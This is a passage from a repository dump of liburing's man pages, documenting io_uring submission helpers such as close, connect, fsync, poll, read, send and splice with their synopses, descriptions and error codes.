");" 14 | .PP 15 | .BI "void io_uring_prep_close_direct(struct io_uring_sqe *" sqe "," 16 | .BI " unsigned " file_index ");" 17 | .PP 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_prep_close (3) 23 | function prepares a close request. The submission queue entry 24 | .I sqe 25 | is setup to close the file descriptor indicated by 26 | .IR fd . 27 | 28 | For a direct descriptor close request, the offset is specified by the 29 | .I file_index 30 | argument instead of the 31 | .IR fd . 32 | This is identical to unregistering the direct descriptor, and is provided as 33 | a convenience. 34 | 35 | These functions prepare an async 36 | .BR close (2) 37 | request. See that man page for details. 38 | 39 | .SH RETURN VALUE 40 | None 41 | .SH ERRORS 42 | The CQE 43 | .I res 44 | field will contain the result of the operation. See the related man page for 45 | details on possible values. Note that where synchronous system calls will return 46 | .B -1 47 | on failure and set 48 | .I errno 49 | to the actual error value, io_uring never uses 50 | .IR errno . 51 | Instead it returns the negated 52 | .I errno 53 | directly in the CQE 54 | .I res 55 | field. 56 | .SH SEE ALSO 57 | .BR io_uring_get_sqe (3), 58 | .BR io_uring_submit (3), 59 | .BR close (2) 60 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_close_direct.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_close.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_connect.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_connect 3 "March 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_connect \- prepare a connect request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .B #include 13 | .PP 14 | .BI "void io_uring_prep_connect(struct io_uring_sqe *" sqe "," 15 | .BI " int " sockfd "," 16 | .BI " const struct sockaddr *" addr "," 17 | .BI " socklen_t " addrlen ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_prep_connect (3) 23 | function prepares a connect request. The submission queue entry 24 | .I sqe 25 | is setup to use the file descriptor 26 | .I sockfd 27 | to start connecting to the destination described by the socket address at 28 | .I addr 29 | and of structure length 30 | .IR addrlen . 31 | 32 | This function prepares an async 33 | .BR connect (2) 34 | request. See that man page for details. 35 | 36 | .SH RETURN VALUE 37 | None 38 | .SH ERRORS 39 | The CQE 40 | .I res 41 | field will contain the result of the operation. See the related man page for 42 | details on possible values. Note that where synchronous system calls will return 43 | .B -1 44 | on failure and set 45 | .I errno 46 | to the actual error value, io_uring never uses 47 | .IR errno . 48 | Instead it returns the negated 49 | .I errno 50 | directly in the CQE 51 | .I res 52 | field. 53 | .SH NOTES 54 | As with any request that passes in data in a struct, that data must remain 55 | valid until the request has been successfully submitted. It need not remain 56 | valid until completion. Once a request has been submitted, the in-kernel 57 | state is stable. Very early kernels (5.4 and earlier) required state to be 58 | stable until the completion occurred. Applications can test for this 59 | behavior by inspecting the 60 | .B IORING_FEAT_SUBMIT_STABLE 61 | flag passed back from 62 | .BR io_uring_queue_init_params (3). 63 | .SH SEE ALSO 64 | .BR io_uring_get_sqe (3), 65 | .BR io_uring_submit (3), 66 | .BR connect (2) 67 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_fadvise.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_fadvise 3 "March 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_fadvise \- prepare a fadvise request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .PP 13 | .BI "void io_uring_prep_fadvise(struct io_uring_sqe *" sqe "," 14 | .BI " int " fd "," 15 | .BI " __u64 " offset "," 16 | .BI " off_t " len "," 17 | .BI " int " advice ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_prep_fadvise (3) 23 | function prepares an fadvise request. The submission queue entry 24 | .I sqe 25 | is setup to use the file descriptor pointed to by 26 | .I fd 27 | to start an fadvise operation at 28 | .I offset 29 | and of 30 | .I len 31 | length in bytes, giving it the advise located in 32 | .IR advice . 33 | 34 | This function prepares an async 35 | .BR posix_fadvise (2) 36 | request. See that man page for details. 37 | 38 | .SH RETURN VALUE 39 | None 40 | .SH ERRORS 41 | The CQE 42 | .I res 43 | field will contain the result of the operation. See the related man page for 44 | details on possible values. Note that where synchronous system calls will return 45 | .B -1 46 | on failure and set 47 | .I errno 48 | to the actual error value, io_uring never uses 49 | .IR errno . 50 | Instead it returns the negated 51 | .I errno 52 | directly in the CQE 53 | .I res 54 | field. 55 | .SH SEE ALSO 56 | .BR io_uring_get_sqe (3), 57 | .BR io_uring_submit (3), 58 | .BR io_uring_register (2), 59 | .BR posix_fadvise (2) 60 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_fallocate.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_fallocate 3 "March 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_fallocate \- prepare a fallocate request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .PP 13 | .BI "void io_uring_prep_fallocate(struct io_uring_sqe *" sqe "," 14 | .BI " int " fd "," 15 | .BI " int " mode "," 16 | .BI " off_t " offset "," 17 | .BI " off_t " len ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_prep_fallocate (3) 23 | function prepares a fallocate request. The submission queue entry 24 | .I sqe 25 | is setup to use the file descriptor pointed to by 26 | .I fd 27 | to start a fallocate operation described by 28 | .I mode 29 | at offset 30 | .I offset 31 | and 32 | .I len 33 | length in bytes. 34 | 35 | This function prepares an async 36 | .BR fallocate (2) 37 | request. See that man page for details. 38 | 39 | .SH RETURN VALUE 40 | None 41 | .SH ERRORS 42 | The CQE 43 | .I res 44 | field will contain the result of the operation. See the related man page for 45 | details on possible values. Note that where synchronous system calls will return 46 | .B -1 47 | on failure and set 48 | .I errno 49 | to the actual error value, io_uring never uses 50 | .IR errno . 51 | Instead it returns the negated 52 | .I errno 53 | directly in the CQE 54 | .I res 55 | field. 56 | .SH SEE ALSO 57 | .BR io_uring_get_sqe (3), 58 | .BR io_uring_submit (3), 59 | .BR fallocate (2) 60 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_fsync.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_fsync 3 "March 12, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_fsync \- prepare an fsync request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_prep_fsync(struct io_uring_sqe *" sqe "," 13 | .BI " int " fd "," 14 | .BI " unsigned " flags ");" 15 | .fi 16 | .SH DESCRIPTION 17 | .PP 18 | The 19 | .BR io_uring_prep_fsync (3) 20 | function prepares an fsync request. The submission queue entry 21 | .I sqe 22 | is setup to use the file descriptor 23 | .I fd 24 | that should get synced, with the modifier flags indicated by the 25 | .I flags 26 | argument. 27 | 28 | This function prepares an fsync request. It can act either like an 29 | .BR fsync (2) 30 | operation, which is the default behavior. If 31 | .B IORING_FSYNC_DATASYNC 32 | is set in the 33 | .I flags 34 | argument, then it behaves like 35 | .BR fdatasync (2). 36 | If no range is specified, the 37 | .I fd 38 | will be synced from 0 to end-of-file. 39 | 40 | It's possible to specify a range to sync, if one is desired. If the 41 | .I off 42 | field of the SQE is set to non-zero, then that indicates the offset to 43 | start syncing at. If 44 | .I len 45 | is set in the SQE, then that indicates the size in bytes to sync from the 46 | offset. Note that these fields are not accepted by this helper, so they have 47 | to be set manually in the SQE after calling this prep helper. 48 | 49 | .SH RETURN VALUE 50 | None 51 | .SH ERRORS 52 | The CQE 53 | .I res 54 | field will contain the result of the operation. See the related man page for 55 | details on possible values. Note that where synchronous system calls will return 56 | .B -1 57 | on failure and set 58 | .I errno 59 | to the actual error value, io_uring never uses 60 | .IR errno . 61 | Instead it returns the negated 62 | .I errno 63 | directly in the CQE 64 | .I res 65 | field. 66 | .SH SEE ALSO 67 | .BR io_uring_get_sqe (3), 68 | .BR io_uring_submit (3), 69 | .BR fsync (2), 70 | .BR fdatasync (2) 71 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_link.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_linkat.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_madvise.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_madvise 3 "March 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_madvise \- prepare a madvise request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .PP 13 | .BI "void io_uring_prep_madvise(struct io_uring_sqe *" sqe "," 14 | .BI " void *" addr "," 15 | .BI " off_t " len "," 16 | .BI " int " advice ");" 17 | .fi 18 | .SH DESCRIPTION 19 | .PP 20 | The 21 | .BR io_uring_prep_madvise (3) 22 | function prepares an madvise request. The submission queue entry 23 | .I sqe 24 | is setup to start an madvise operation at the virtual address of 25 | .I addr 26 | and of 27 | .I len 28 | length in bytes, giving it the advise located in 29 | .IR advice . 30 | 31 | This function prepares an async 32 | .BR madvise (2) 33 | request. See that man page for details. 34 | 35 | .SH RETURN VALUE 36 | None 37 | .SH ERRORS 38 | The CQE 39 | .I res 40 | field will contain the result of the operation. See the related man page for 41 | details on possible values. Note that where synchronous system calls will return 42 | .B -1 43 | on failure and set 44 | .I errno 45 | to the actual error value, io_uring never uses 46 | .IR errno . 47 | Instead it returns the negated 48 | .I errno 49 | directly in the CQE 50 | .I res 51 | field. 52 | .SH SEE ALSO 53 | .BR io_uring_get_sqe (3), 54 | .BR io_uring_submit (3), 55 | .BR io_uring_register (2), 56 | .BR madvise (2) 57 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_mkdir.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_mkdirat.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_msg_ring.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_msg_ring 3 "March 10, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_msg_ring \- send a message to another ring 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_prep_msg_ring(struct io_uring_sqe *" sqe "," 13 | .BI " int " fd "," 14 | .BI " unsigned int " len "," 15 | .BI " __u64 " data "," 16 | .BI " unsigned int " flags ");" 17 | .fi 18 | .SH DESCRIPTION 19 | .PP 20 | .BR io_uring_prep_msg_ring (3) 21 | prepares a to send a CQE to an io_uring file descriptor. The submission queue 22 | entry 23 | .I sqe 24 | is setup to use the file descriptor 25 | .IR fd , 26 | which must identify a io_uring context, to post a CQE on that ring where the 27 | target CQE 28 | .B res 29 | field will contain the content of 30 | .I len 31 | and the 32 | .B user_data 33 | of 34 | .I data 35 | with the request modifier flags set by 36 | .IR flags . 37 | Currently there are no valid flag modifiers, this field must contain 38 | .BR 0 . 39 | 40 | The targeted ring may be any ring that the user has access to, even the ring 41 | itself. This request can be used for simple message passing to another ring, 42 | allowing 32+64 bits of data to be transferred through the 43 | .I len 44 | and 45 | .I data 46 | fields. The use case may be anything from simply waking up someone waiting 47 | on the targeted ring, or it can be used to pass messages between the two 48 | rings. 49 | 50 | .SH RETURN VALUE 51 | None 52 | 53 | .SH ERRORS 54 | These are the errors that are reported in the CQE 55 | .I res 56 | field. 57 | .TP 58 | .B -ENOMEM 59 | The kernel was unable to allocate memory for the request. 60 | .TP 61 | .B -EINVAL 62 | One of the fields set in the SQE was invalid. 63 | .TP 64 | .B -EBADFD 65 | The descriptor passed in 66 | .I fd 67 | does not refer to an io_uring file descriptor. 68 | .TP 69 | .B -EOVERFLOW 70 | The kernel was unable to fill a CQE on the target ring. This can happen if 71 | the target CQ ring is in an overflow state and the kernel wasn't able to 72 | allocate memory for a new CQE entry. 73 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_multishot_accept.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_accept.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_multishot_accept_direct.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_accept.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_openat2_direct.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_openat2.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_openat_direct.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_openat.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_poll_add.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_poll_add 3 "March 12, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_poll_add \- prepare a poll request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .PP 13 | .BI "void io_uring_prep_poll_add(struct io_uring_sqe *" sqe "," 14 | .BI " int " fd "," 15 | .BI " unsigned " poll_mask ");" 16 | .PP 17 | .BI "void io_uring_prep_poll_multishot(struct io_uring_sqe *" sqe "," 18 | .BI " int " fd "," 19 | .BI " unsigned " poll_mask ");" 20 | .fi 21 | .SH DESCRIPTION 22 | .PP 23 | The 24 | .BR io_uring_prep_poll_add (3) 25 | function prepares a poll request. The submission queue entry 26 | .I sqe 27 | is setup to use the file descriptor 28 | .I fd 29 | that should get polled, with the events desired specified in the 30 | .I poll_mask 31 | argument. 32 | 33 | The default behavior is a single-shot poll request. When the specified event 34 | has triggered, a completion CQE is posted and no more events will be generated 35 | by the poll request. 36 | .BR io_uring_prep_multishot (3) 37 | behaves identically in terms of events, but it persist across notifications 38 | and will repeatedly post notifications for the same registration. A CQE 39 | posted from a multishot poll request will have 40 | .B IORING_CQE_F_MORE 41 | set in the CQE 42 | .I flags 43 | member, indicating that the application should expect more completions from 44 | this request. If the multishot poll request gets terminated or experiences 45 | an error, this flag will not be set in the CQE. If this happens, the application 46 | should not expect further CQEs from the original request and must reissue a 47 | new one if it still wishes to get notifications on this file descriptor. 48 | 49 | .SH RETURN VALUE 50 | None 51 | .SH ERRORS 52 | The CQE 53 | .I res 54 | field will contain the result of the operation, which is a bitmask of the 55 | events notified. See the 56 | .BR poll (2) 57 | man page for details. Note that where synchronous system calls will return 58 | .B -1 59 | on failure and set 60 | .I errno 61 | to the actual error value, io_uring never uses 62 | .IR errno . 63 | Instead it returns the negated 64 | .I errno 65 | directly in the CQE 66 | .I res 67 | field. 68 | .SH SEE ALSO 69 | .BR io_uring_get_sqe (3), 70 | .BR io_uring_submit (3), 71 | .BR poll (2), 72 | .BR epoll_ctl (3) 73 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_poll_multishot.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_poll_add.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_poll_remove.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_poll_remove 3 "March 12, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_poll_remove \- prepare a poll deletion request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_prep_poll_remove(struct io_uring_sqe *" sqe "," 13 | .BI " __u64 " user_data ");" 14 | .BI " 15 | .fi 16 | .SH DESCRIPTION 17 | .PP 18 | The 19 | .BR io_uring_prep_poll_remove (3) 20 | function prepares a poll removal request. The submission queue entry 21 | .I sqe 22 | is setup to remove a poll request identified by 23 | .I user_data 24 | 25 | Works like 26 | .BR io_uring_prep_cancel (3) 27 | except only looks for poll requests. Apart from that, behavior is identical. 28 | See that man page for specific details. 29 | 30 | .SH RETURN VALUE 31 | None 32 | .SH ERRORS 33 | These are the errors that are reported in the CQE 34 | .I res 35 | field. On success, 36 | .B 0 37 | is returned. 38 | .TP 39 | .B -ENOENT 40 | The request identified by 41 | .I user_data 42 | could not be located. This could be because it completed before the cancelation 43 | request was issued, or if an invalid identifier is used. 44 | .TP 45 | .B -EINVAL 46 | One of the fields set in the SQE was invalid. 47 | .TP 48 | .B -EALREADY 49 | The execution state of the request has progressed far enough that cancelation 50 | is no longer possible. This should normally mean that it will complete shortly, 51 | either successfully, or interrupted due to the cancelation. 52 | .SH SEE ALSO 53 | .BR io_uring_get_sqe (3), 54 | .BR io_uring_submit (3), 55 | .BR io_uring_prep_cancel (3) 56 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_read.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_read 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_read \- prepare I/O read request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_prep_read(struct io_uring_sqe *" sqe "," 13 | .BI " int " fd "," 14 | .BI " void *" buf "," 15 | .BI " unsigned " nbytes "," 16 | .BI " __u64 " offset ");" 17 | .fi 18 | .SH DESCRIPTION 19 | .PP 20 | The 21 | .BR io_uring_prep_read (3) 22 | prepares an IO read request. The submission queue entry 23 | .I sqe 24 | is setup to use the file descriptor 25 | .I fd 26 | to start reading 27 | .I nbytes 28 | into the buffer 29 | .I buf 30 | at the specified 31 | .IR offset . 32 | 33 | On files that support seeking, if the offset is set to 34 | .BR -1 , 35 | the read operation commences at the file offset, and the file offset is 36 | incremented by the number of bytes read. See 37 | .BR read (2) 38 | for more details. Note that for an async API, reading and updating the 39 | current file offset may result in unpredictable behavior, unless access 40 | to the file is serialized. It is not encouraged to use this feature, if it's 41 | possible to provide the desired IO offset from the application or library. 42 | 43 | On files that are not capable of seeking, the offset is ignored. 44 | 45 | After the read has been prepared it can be submitted with one of the submit 46 | functions. 47 | 48 | .SH RETURN VALUE 49 | None 50 | .SH ERRORS 51 | The CQE 52 | .I res 53 | field will contain the result of the operation. See the related man page for 54 | details on possible values. Note that where synchronous system calls will return 55 | .B -1 56 | on failure and set 57 | .I errno 58 | to the actual error value, io_uring never uses 59 | .IR errno . 60 | Instead it returns the negated 61 | .I errno 62 | directly in the CQE 63 | .I res 64 | field. 65 | .SH SEE ALSO 66 | .BR io_uring_get_sqe (3), 67 | .BR io_uring_prep_readv (3), 68 | .BR io_uring_prep_readv2 (3), 69 | .BR io_uring_submit (3) 70 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_read_fixed.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_read 3 "February 13, 2022" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_read_fixed \- prepare I/O read request with registered buffer 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_prep_read_fixed(struct io_uring_sqe *" sqe "," 13 | .BI " int " fd "," 14 | .BI " void *" buf "," 15 | .BI " unsigned " nbytes "," 16 | .BI " __u64 " offset "," 17 | .BI " int " buf_index ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_prep_read_fixed (3) 23 | prepares an IO read request with a previously registered IO buffer. The 24 | submission queue entry 25 | .I sqe 26 | is setup to use the file descriptor 27 | .I fd 28 | to start reading 29 | .I nbytes 30 | into the buffer 31 | .I buf 32 | at the specified 33 | .IR offset , 34 | and with the buffer matching the registered index of 35 | .IR buf_index . 36 | 37 | This works just like 38 | .BR io_uring_prep_read (3) 39 | except it requires the use of buffers that have been registered with 40 | .BR io_uring_register_buffers (3). 41 | The 42 | .I buf 43 | and 44 | .I nbytes 45 | arguments must fall within a region specificed by 46 | .I buf_index 47 | in the previously registered buffer. The buffer need not be aligned with 48 | the start of the registered buffer. 49 | 50 | After the read has been prepared it can be submitted with one of the submit 51 | functions. 52 | 53 | .SH RETURN VALUE 54 | None 55 | .SH ERRORS 56 | The CQE 57 | .I res 58 | field will contain the result of the operation. See the related man page for 59 | details on possible values. Note that where synchronous system calls will return 60 | .B -1 61 | on failure and set 62 | .I errno 63 | to the actual error value, io_uring never uses 64 | .IR errno . 65 | Instead it returns the negated 66 | .I errno 67 | directly in the CQE 68 | .I res 69 | field. 70 | .SH SEE ALSO 71 | .BR io_uring_prep_read (3), 72 | .BR io_uring_register_buffers (3) 73 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_remove_buffers.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_remove_buffers 3 "March 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_remove_buffers \- prepare a remove buffers request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_prep_remove_buffers(struct io_uring_sqe *" sqe "," 13 | .BI " int " nr "," 14 | .BI " int " bgid ");" 15 | .fi 16 | .SH DESCRIPTION 17 | .PP 18 | The 19 | .BR io_uring_prep_remove_buffers (3) 20 | function prepares a request for removing previously supplied buffers. The 21 | submission queue entry 22 | .I sqe 23 | is setup to remove 24 | .I nr 25 | number of buffers from the buffer group ID indicated by 26 | .IR bgid . 27 | 28 | .SH RETURN VALUE 29 | None 30 | .SH ERRORS 31 | These are the errors that are reported in the CQE 32 | .I res 33 | field. On success, 34 | .I res 35 | will contain the number of successfully removed buffers. On error, 36 | the following errors can occur. 37 | .TP 38 | .B -ENOMEM 39 | The kernel was unable to allocate memory for the request. 40 | .TP 41 | .B -EINVAL 42 | One of the fields set in the SQE was invalid. 43 | .TP 44 | .B -ENOENT 45 | No buffers exist at the specified 46 | .I bgid 47 | buffer group ID. 48 | .SH SEE ALSO 49 | .BR io_uring_get_sqe (3), 50 | .BR io_uring_submit (3), 51 | .BR io_uring_register (2), 52 | .BR io_uring_prep_provide_buffers (3) 53 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_rename.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_renameat.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_send.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_send 3 "March 12, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_send \- prepare a send request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_prep_send(struct io_uring_sqe *" sqe "," 13 | .BI " int " sockfd "," 14 | .BI " const void *" buf "," 15 | .BI " size_t " len "," 16 | .BI " int " flags ");" 17 | .fi 18 | .SH DESCRIPTION 19 | .PP 20 | The 21 | .BR io_uring_prep_send (3) 22 | function prepares a send request. The submission queue entry 23 | .I sqe 24 | is setup to use the file descriptor 25 | .I sockfd 26 | to start sending the data from 27 | .I buf 28 | of size 29 | .I size 30 | and with modifier flags 31 | .IR flags . 32 | 33 | This function prepares an async 34 | .BR send (2) 35 | request. See that man page for details. 36 | 37 | .SH RETURN VALUE 38 | None 39 | .SH ERRORS 40 | The CQE 41 | .I res 42 | field will contain the result of the operation. See the related man page for 43 | details on possible values. Note that where synchronous system calls will return 44 | .B -1 45 | on failure and set 46 | .I errno 47 | to the actual error value, io_uring never uses 48 | .IR errno . 49 | Instead it returns the negated 50 | .I errno 51 | directly in the CQE 52 | .I res 53 | field. 54 | .SH SEE ALSO 55 | .BR io_uring_get_sqe (3), 56 | .BR io_uring_submit (3), 57 | .BR send (2) 58 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_sendmsg.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_sendmsg 3 "March 12, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_sendmsg \- prepare a sendmsg request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .B #include 13 | .PP 14 | .BI "void io_uring_prep_sendmsg(struct io_uring_sqe *" sqe "," 15 | .BI " int " fd "," 16 | .BI " const struct msghdr *" msg "," 17 | .BI " unsigned " flags ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_prep_sendmsg (3) 23 | function prepares a sendmsg request. The submission queue entry 24 | .I sqe 25 | is setup to use the file descriptor 26 | .I fd 27 | to start sending the data indicated by 28 | .I msg 29 | with the 30 | .BR sendmsg (2) 31 | defined flags in the 32 | .I flags 33 | argument. 34 | 35 | This function prepares an async 36 | .BR sendmsg (2) 37 | request. See that man page for details. 38 | 39 | .SH RETURN VALUE 40 | None 41 | .SH ERRORS 42 | The CQE 43 | .I res 44 | field will contain the result of the operation. See the related man page for 45 | details on possible values. Note that where synchronous system calls will return 46 | .B -1 47 | on failure and set 48 | .I errno 49 | to the actual error value, io_uring never uses 50 | .IR errno . 51 | Instead it returns the negated 52 | .I errno 53 | directly in the CQE 54 | .I res 55 | field. 56 | .SH NOTES 57 | As with any request that passes in data in a struct, that data must remain 58 | valid until the request has been successfully submitted. It need not remain 59 | valid until completion. Once a request has been submitted, the in-kernel 60 | state is stable. Very early kernels (5.4 and earlier) required state to be 61 | stable until the completion occurred. Applications can test for this 62 | behavior by inspecting the 63 | .B IORING_FEAT_SUBMIT_STABLE 64 | flag passed back from 65 | .BR io_uring_queue_init_params (3). 66 | .SH SEE ALSO 67 | .BR io_uring_get_sqe (3), 68 | .BR io_uring_submit (3), 69 | .BR sendmsg (2) 70 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_shutdown.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_shutdown 3 "March 12, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_shutdown \- prepare a shutdown request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .PP 13 | .BI "void io_uring_prep_shutdown(struct io_uring_sqe *" sqe "," 14 | .BI " int " sockfd "," 15 | .BI " int " how ");" 16 | .fi 17 | .SH DESCRIPTION 18 | .PP 19 | The 20 | .BR io_uring_prep_shutdown (3) 21 | function prepares a shutdown request. The submission queue entry 22 | .I sqe 23 | is setup to use the file descriptor 24 | .I sockfd 25 | that should be shutdown with the 26 | .I how 27 | argument. 28 | 29 | This function prepares an async 30 | .BR shutdown (2) 31 | request. See that man page for details. 32 | 33 | .SH RETURN VALUE 34 | None 35 | .SH ERRORS 36 | The CQE 37 | .I res 38 | field will contain the result of the operation. See the related man page for 39 | details on possible values. Note that where synchronous system calls will return 40 | .B -1 41 | on failure and set 42 | .I errno 43 | to the actual error value, io_uring never uses 44 | .IR errno . 45 | Instead it returns the negated 46 | .I errno 47 | directly in the CQE 48 | .I res 49 | field. 50 | .SH SEE ALSO 51 | .BR io_uring_get_sqe (3), 52 | .BR io_uring_submit (3), 53 | .BR shutdown (2) 54 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_socket_direct.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_socket.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_splice.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_splice 3 "March 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_splice \- prepare an splice request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .B #include 12 | .PP 13 | .BI "void io_uring_prep_splice(struct io_uring_sqe *" sqe "," 14 | .BI " int " fd_in "," 15 | .BI " int64_t " off_in "," 16 | .BI " int " fd_out "," 17 | .BI " int64_t " off_out "," 18 | .BI " unsigned int " nbytes "," 19 | .BI " unsigned int " splice_flags ");" 20 | .fi 21 | .SH DESCRIPTION 22 | .PP 23 | The 24 | .BR io_uring_prep_splice (3) 25 | function prepares a splice request. The submission queue entry 26 | .I sqe 27 | is setup to use as input the file descriptor 28 | .I fd_in 29 | at offset 30 | .IR off_in , 31 | splicing data to the file descriptor at 32 | .I fd_out 33 | and at offset 34 | .IR off_out . 35 | .I nbytes 36 | bytes of data should be spliced between the two descriptors. 37 